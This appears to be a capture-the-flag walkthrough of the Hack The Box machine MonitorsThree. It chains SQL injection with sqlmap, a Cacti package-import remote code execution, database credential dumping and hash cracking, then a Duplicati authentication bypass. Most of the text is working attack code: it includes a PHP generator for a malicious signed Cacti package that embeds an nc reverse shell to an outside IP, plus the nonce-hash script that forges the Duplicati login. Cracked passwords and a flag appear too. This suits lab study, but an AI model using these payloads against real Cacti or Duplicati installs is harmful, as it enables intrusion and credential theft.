[Meachines] [Medium] MonitorsThree SQLI+Cacti-CMS-RCE+Duplicati权限提升

信息收集

IP Address	Opening Ports
10.10.11.30	TCP:22，80

$ nmap -p- 10.10.11.30 --min-rate 1000 -sC -sV -Pn

PORT      STATE    SERVICE       VERSION
22/tcp    open     ssh           OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 86:f8:7d:6f:42:91:bb:89:72:91:af:72:f3:01:ff:5b (ECDSA)
|_  256 50:f9:ed:8e:73:64:9e:aa:f6:08:95:14:f0:a6:0d:57 (ED25519)
80/tcp    open     http          nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://monitorsthree.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kerne

Cacti

# echo '10.10.11.30 monitorsthree.htb' >>/etc/hosts

http://monitorsthree.htb/

$ ffuf -w ~/Subdomain.txt -u http://monitorsthree.htb -H 'HOST: FUZZ.10.10.11.30' -fs 13560

# echo '10.10.11.30 cacti.monitorsthree.htb' >>/etc/hosts

http://cacti.monitorsthree.htb/cacti/

$ sqlmap -u 'http://monitorsthree.htb/forgot_password.php' --level=5 --risk=3 --batch

admin：greencacti2001

<?php

$xmldata = "<xml>
   <files>
       <file>
           <name>resource/test.php</name>
           <data>%s</data>
           <filesignature>%s</filesignature>
       </file>
   </files>
   <publickey>%s</publickey>
   <signature></signature>
</xml>";
$filedata = "<?php shell_exec('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 10.10.16.43 10032 >/tmp/f'); ?>";
$keypair = openssl_pkey_new(); 
$public_key = openssl_pkey_get_details($keypair)["key"]; 
openssl_sign($filedata, $filesignature, $keypair, OPENSSL_ALGO_SHA256);
$data = sprintf($xmldata, base64_encode($filedata), base64_encode($filesignature), base64_encode($public_key));
openssl_sign($data, $signature, $keypair, OPENSSL_ALGO_SHA256);
file_put_contents("test.xml", str_replace("<signature></signature>", "<signature>".base64_encode($signature)."</signature>", $data));
system("cat test.xml | gzip -9 > test.xml.gz; rm test.xml");

?>

$ php rev.php

Import/Export -> Import Packages

www-data@monitorsthree:~/html$ cat /var/www/html/cacti/include/config.php

user:cactiuser password:cactiuser

MariaDB [cacti]> select * from user_auth\G;

$2y$10$Fq8wGXvlM3Le.5LIzmM9weFs9s6W2i1FLg3yrdNGmkIaxo79IBjtK

$ hashcat -m 3200 hash /usr/share/wordlists/rockyou.txt

user:marcus password:12345678910

www-data@monitorsthree:~/html/cacti/resource$ su marcus

User.txt

f9fb42ef0c734ab3310e509e6b1117c5

Privilege Escalation && Duplicati

$ ./chisel client 10.10.16.43:8000 R:8200:localhost:8200

$ chisel server -p 8000 --reverse

$ scp -i /tmp/id_rsa marcus@monitorsthree.htb:/opt/duplicati/config/Duplicati-server.sqlite .

$ sqlite3 Duplicati-server.sqlite

$ echo 'Wb6e855L3sN9LTaCuwPXuautswTIQbekmMAr7BrK2Ho=' | base64 -d | xxd -p -c 256

get-nonce=1

2dlBrErvpm9f5CXhY945hSOXSKoL0dlRcP8/4L0sRXM=

var saltedpwd = '59be9ef39e4bdec37d2d3682bb03d7b9abadb304c841b7a498c02bec1acad87a'; 
var noncedpwd = CryptoJS.SHA256(CryptoJS.enc.Hex.parse(CryptoJS.enc.Base64.parse('2dlBrErvpm9f5CXhY945hSOXSKoL0dlRcP8/4L0sRXM=') + saltedpwd)).toString(CryptoJS.enc.Base64);
console.log(noncedpwd);